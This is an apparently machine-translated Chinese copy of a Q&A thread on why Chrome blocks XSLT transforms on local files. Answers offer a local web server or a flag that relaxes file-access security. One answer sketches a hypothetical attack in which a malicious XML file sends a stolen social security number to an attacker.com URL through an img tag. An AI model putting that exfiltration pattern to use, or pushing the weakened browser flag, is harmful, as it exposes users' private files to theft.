Chrome可以在本地文件上执行XSL转换吗?

时间:2010-09-30 08:17:00

标签: xml xslt google-chrome local

我正在研究xslt并开始使用w3schools上的示例进行测试。

但是,当我将xml和xsl保存在文件中并尝试在本地打开它们时,chrome将不会执行xsl转换。它只显示一个空白页面。

我已将<?xml-stylesheet type="text/xsl" href="style.xsl">标记添加到xml文档中,并且firefox将其呈现为应该看起来的样子。此外,如果我通过Web服务器查看文件,chrome会显示该文件的外观。

当链接是本地链接时,chrome是否在查找样式表信息时遇到问题?将href更改为file:///C:/xsl/style.xsl没有任何区别。

更新:这似乎是安全策略的副作用to not treat file:///* as same origin.这会使控制台中出现以下错误:

  

不安全尝试从带有URL文件的框架加载URL文件:/// C:/xsl-rpg/style.xsl:/// C:/xsl-rpg/data.xml。域,协议和端口必须匹配。

6 个答案:

答案 0 :(得分:64)

简短的回答是“不,请使用其中一个diverse set of browsers

这不起作用的原因是由于Chrome以一种有争议的方式解决了安全问题 [1] [2] [3] [4] ,阻止XML文件访问同一目录中的本地XSLT文件,而HTML文件可以访问同一目录中的.CSS文件。

在上面提到的问题中,用户要求更清晰的错误消息(因为域,协议和端口确实匹配),或者至少在没有样式的情况下显示XML。 Chrome开发人员忽略了这些请求。

答案 1 :(得分:52)

您可以使用Chrome的命令行标记在本地执行此操作。

具体标志为--allow-file-access-from-files

在OS X上:从Terminal.app运行/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

在Windows上:从命令提示符运行%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

注意:如果当前正在运行Chrome,则可能必须退出Chrome

答案 2 :(得分:9)

如果你想坚持OP,答案是否定(正如其他人指出的那样),但解决问题的一种方法是运行一个简单的网络服务器并通过chrome中的http打开文件。如果安装了python 2.x,则可以通过键入以下命令来运行Web服务器:

python -m SimpleHTTPServer

或者在python 3.x中:

python3 -m http.server

然后使用chrome中的http://localhost:8000/yourfile.xml打开文件。希望你只是想完成你的工作,而不是必须使用file://打开文件

答案 3 :(得分:3)

我的解决方法是根据xsl文件查看xml

假设我们有一个带有标题的some_file.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. 我们下载了文件https://some-site.com/Common.xsl,并将其放在some_file.xml旁边
  2. 将标题的一部分从href="https://some-site.com/Common.xsl"更改为href="http://localhost:8001/Common.xsl"
  3. 在包含我们文件的目录中运行-python3 -m http.server 8001
  4. 在任何浏览器http://localhost:8001/some_file.xml中打开

答案 4 :(得分:2)

对Chrome Bug页面进行了一些解读 - 他们非常热衷于不解释问题所在,以及为什么他们选择打破每个人而不是打破所有人。

假设我的硬盘上有一个XML文件 - 某处 - ,例如:

  

C:\用户\伊恩\文件\税\ StudioTaxReturn_2015.xml

恶意实体 - 以某种方式 - 设法在我的计算机上删除恶意Xml文件,例如:

  

C:\用户\伊恩\应用程序数据\ LocalLow \ TEMP \ TrojanVirusWorm.xml

想象一下 TrojanVirusWorm.xml 包含样式表处理说明( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

然后,攻击者指示我的浏览器导航到本地保存的trojanVirusWorm.xml文件。

显然,XML文件可以读取 XSD文件的内容(而不是被XSD文件转换):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

我不了解XML文件如何读取样式表文件。但Chrome团队向我们保证,这是一种危险,而且无法解决。

其他每个浏览器都解决了它。他们解决了它because it's not a problem

答案 5 :(得分:0)

您可以通过更改浏览器设置来使Chrome呈现XSL文件。一种更安全的方法是通过本地Web服务器(例如Visual Studio Code Live服务器或Apache)访问它。有关步骤,请参见XSLT Won't Render on Local Files